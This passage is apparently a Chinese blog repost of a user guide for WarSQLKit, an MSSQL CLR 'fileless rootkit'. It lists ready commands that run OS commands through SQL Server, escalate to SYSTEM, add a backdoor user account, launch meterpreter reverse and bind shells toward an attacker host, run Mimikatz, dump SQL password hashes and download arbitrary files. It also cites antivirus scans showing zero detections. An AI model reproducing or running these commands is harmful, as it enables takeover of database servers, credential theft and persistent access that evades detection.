通过此SQL语句,我们创建了一个名为sp_cmdExec的程序集和一个名为sp_cmdExec的存储过程。

”EXEC sp_cmdExec'sp_help';”    #通过运行该命令,我们可以看到如何使用WarSQLKit。让我们看一下我们的命令。

“EXEC sp_cmdExec'whoami'; # 通过在操作系统中运行“ whoami”命令,它将向我们显示SQL Server正在运行哪些权限。您可以运行任何命令来代替Whoami命令。我们的命令输出如下。

“EXEC sp_cmdExec'whoami /RunSystemPriv';”   如果在任何操作系统命令的末尾添Run / RunSystemPriv una参数,则将创建Kumpir.exe文件,并通过提升权限来运行我们的命令。可以从下图中看到输出的示例:

如您所见,当将/RunSystemPriv参数赋予whoami命令时,将创建kumpir.exe,并以用户“ NT AUTHORITY\SYSTEM”的权限运行该命令。我将向您展示Windows命令的另一个示例,如下:

“EXEC sp_cmdExec'"net user sKyWiPer P@ssw0rd1 /add" /RunSystemPriv';”   #使用此命令通过net user命令创建一个名为sKyWiPer的用户,该用户的密码P@ssw0rd1。我用双引号包含了我的经典Windows命令,后跟/ RunSystemPriv参数。这将通过kumpir.exe并运行我在操作系统上双引号之间包含的命令。 

重要说明:WarSQLKit通过将所有非sp_ 命令评估为操作系统命令来尝试执行命令。ozelsp_basinda是我在rootkit中定义的所有特殊参数中的第一个。

EXEC sp_cmdExec'powershell Get-Acl /RunSystemPS';  您可以通过WarSQLKit运行任何powershell代码。当您在运行的powershell代码的末尾添加“ /RunSystemPS una”参数时,将使用SYSTEM用户的权限来执行powershell命令。在以下示例中,您可以看到Get-Acl poweshell命令的输出。

 EXEC sp_cmdExec'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';  我们可以在WarSQLKit上运行meterpreter有效负载,目前支持4个meterpreter负载。“ Sp_meterpreter_reverse_tcp”向我们返回经典的“windows/meterpreter/reverse_tcp"有效负载。此有效负载需要LHOST和LPORT作为参数。在我们的Kali主机中,通过利用exploit/multi/handler将任何端口更改为列表模式后,我们可以通过WarSQLKit执行反向连接。在命令末尾添加“ GetSystem”参数以允许我们的有效负载以SYSTEM权限进行反向连接。我们的Meterpreter有效负载将通过Kumpir.exe执行,并为我们提供“ NT AUTHORITY\SYSTEM”的权限。如果需要,可以删除GetSystem参数。如果没有GetSystem参数,我们将获得与SQL Server运行的权限的反向连接。示例代码如下:     EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem';

注意:在Kali中将有效负载设置为“ exploit/multi/handler”之后,需要为WarSQLKit中可用的所有有效负载输入“ set EXITFUNC none ”。如果不设置此值,则不会收到反向连接。 

“EXEC sp_cmdExec'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';”  #使用此命令,您可以在x64架构的服务器上运行reverse_tcp有效负载。  

EXEC sp_cmdExec'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem';   # 使用此命令,您可以在SQL Server上运行RC4类型的meterpreter有效负载。  

提示:对于 “windows/meterpreter/reverse_tcp_rc4”有效负载,需要设置“ set RC4PASSWORD warsql ”参数。RC4的密码默认为ars warsql。我们目前无法更改此密码。 

“EXEC sp_cmdExec'sp_meterpreter_bind_tcp LPORT GetSystem';”   #使用此命令,您可以在SQL Server上运行meterpreter bind_tcp有效负载。作为LPORT,您只需输入要在SQL Server中打开的端口。 

“EXEC sp_cmdExec'sp_Mimikatz';”    # 使用sp_Mimikatz,可以在服务器上运行mimikatz的Powershell版本。在第11小节中,我更详细地说明了这一点。运行sp_Mimikatz之后,mimikatz日志将平均保存30-60秒间隔输入到mimi.log文件中。我们运行的命令如下

保存Mimikatz输出后,我们需要运行“ select * from WarSQLKitTem ”命令。mimikatz输出如下。  

 

当我们将Mimikatz日志粘贴到任何note应用程序中时,我们将能够以正确的格式查看它们。 

“EXEC sp_cmdExec'sp_downloadFile URL Location\file.filetype 300';” #通过为sp_downloadFile提供URL,要保存的目录和超时,我们可以将任何文件下载到SQL Server。我们的命令的示例输出如下

“EXEC sp_cmdExec'sp_getSqlHash';”   #使用sp_getSqlHash,我们可以获取MS-SQL用户的哈希。我们的命令输出如下。 

“EXEC sp_cmdExec'sp_getProduct';”    #使用此命令,我们可以查看SQL Server上运行的操作系统。

“EXEC sp_cmdExec'sp_getDatabases';”  # 使用此命令,您可以在SQL Server中检索数据库的名称。

提示:WarSQLKit.dll Rootkit已通过测试,仅在以下系统上成功。除此之外,还没有在任何系统上测试过。

我将使用WarSQLKit兼容版本重新编译WarSQLi v3,并尽快发布。 

作业系统 SQL Server版 工作条件
Windows Server 2016 SQL Server 2016 运行平稳
Windows Server 2012 R2 SQL Server 2014 运行平稳
Windows Server 2012 SQL Server 2012 运行平稳
Windows Server 2008 SQL Server 2008 权限升级问题。我将使用Incognito编译一个新版本。
WarSQLKitMinimal.dll(MSSQL Fileless Rootkit)用户指南

 在本节中,我将讨论WarSQLKitMinimal版本。 WarSQLKitMinimal是仅运行参数“ EXEC sp_cmdExec'cmd';”的版本。此版本不具有处理任何以“ sp_..开头”的命令的功能。这个6 KB的DLL允许您通过SQL Server将命令发送到操作系统。因此,只有操作系统才能执行命令

WarSQLKit.dll文件的扫描结果如下:

Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/pfk61amqt4

No Distribute (0/34): https://nodistribute.com/result/3yf58I7hMdZAP6DB

Virus Total (0/62): https://www.virustotal.com/#/file/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309/detection

 

WarSQLKit_Compress.dll(Rootkit的压缩文件)的扫描结果如下:

Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/8s08ge3o0g

No Distribute (0/34): https://nodistribute.com/result/tbv1NjPLKf5ErXMxUOg7

Virus Total (1/62): https://www.virustotal.com/#/file/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe/detection

 

0x14 参考文献

 https://www.cnblogs.com/backlion/p/12272799.html

   https://technet.microsoft.com/en-US/library/ms187861(v=sql.110).aspx

   https://autohotkey.com/mpress/mpress_web.htm

   https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

  https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling

  https://blog.sqlauthority.com/2008/03/14/sql-server-2005-clr/

  https://docs.microsoft.com/tr-tr/sql/t-sql/statements/alter-assembly-transact-sql

  https://msdn.microsoft.com/library/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33

  https://stackoverflow.com/questions/2055788/sql-server-2005-create-assembly-from-stream-with-c-sharp

原文: http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit

posted @ 2020-10-12 00:15  DaisyLinux  阅读(532)  评论(0编辑  收藏  举报